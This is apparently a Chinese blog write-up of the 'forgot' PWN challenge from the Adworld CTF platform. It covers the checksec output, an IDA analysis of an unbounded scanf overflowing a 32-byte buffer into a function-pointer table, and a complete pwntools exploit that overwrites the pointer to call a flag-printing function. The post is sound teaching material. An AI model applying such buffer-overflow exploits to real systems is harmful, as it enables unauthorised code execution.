攻防世界PWN题 forgot

题目地址

checksec 检查

结果如下

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

分析获取 exp

拖进 ida 里直奔主函数,因为太长这里就不贴出来了,正如题目介绍里所说,主要就是利用自动机来实现邮件地址的合法性识别;其中 v3~v12 分别是用来输出提示信息的函数,可以发现它们两两之间的地址相差 20 个字节;而在 v12 对应的函数地址后的 20 个字节,也就是函数 sub_80486CC 内部就有着输出 flag 内容的命令,由此可以得知,我们的目标就是将其调用之

回过头来继续研究主函数,我们可以发现其主体是一个 while+switch 的组合,每次根据情况来改变 v14 的值,然后以 v14 的值作为偏移来调用前面说的那些输出提示信息的函数,这里其实可以把 v3~v12 看作函数表来使用,下标分别从 0~9

在主函数的 41 行,我们可以看到 scanf 的调用将输入作为字符串读入到 v2 变量中,但它并没有限定读入的长度,而 v2 作为缓冲区,大小仅有 32 个字节,所以可知这里存在着 bof 漏洞,而紧随 v2 之后的就是我们用来保存函数地址的 v3

所以我们的最终思路就是,通过 scanf 这里的 bof 来修改 v3 指向的值为之前找到的 sub_80486CC,同时通过控制输入的格式使自动机在运行后依然让 v14 的值为 1,这样在 88 行处的调用就会成功输出 flag 的内容;查看 case 1 中的判断函数 sub_8048702 ,我们要做的是让它返回 0 使自动机不跳转到 case 2 ,而根据代码,我们只需要输入任意的大写字母即可达到目的

在主函数的第 36 行处,程序输出了 v7 指向的内容,那么我们可以根据它来计算出 sub_80486CC 的地址,即 +20*6 可得

因此最终的 exp 如下

from pwn import *
from sys import argv

if argv[1] == 'local':
    p = process('./forgot')
elif argv[1] == 'remote':
    ip, port = argv[2].split(':')
    p = remote(ip, int(port))

#context.log_level = 'debug'

p.recv()
p.sendline("Yuren")

p.recvuntil('Here: ')
addr = int(p.recvuntil('\n')[:-1], 16)
p.recv()

sys_addr = addr + 20*6
payload = 'A'*32
payload += p32(sys_addr)

p.sendline(payload)

print(p.recv())
posted @ 2020-04-30 22:35  愚人呀  阅读(428)  评论(0编辑  收藏  举报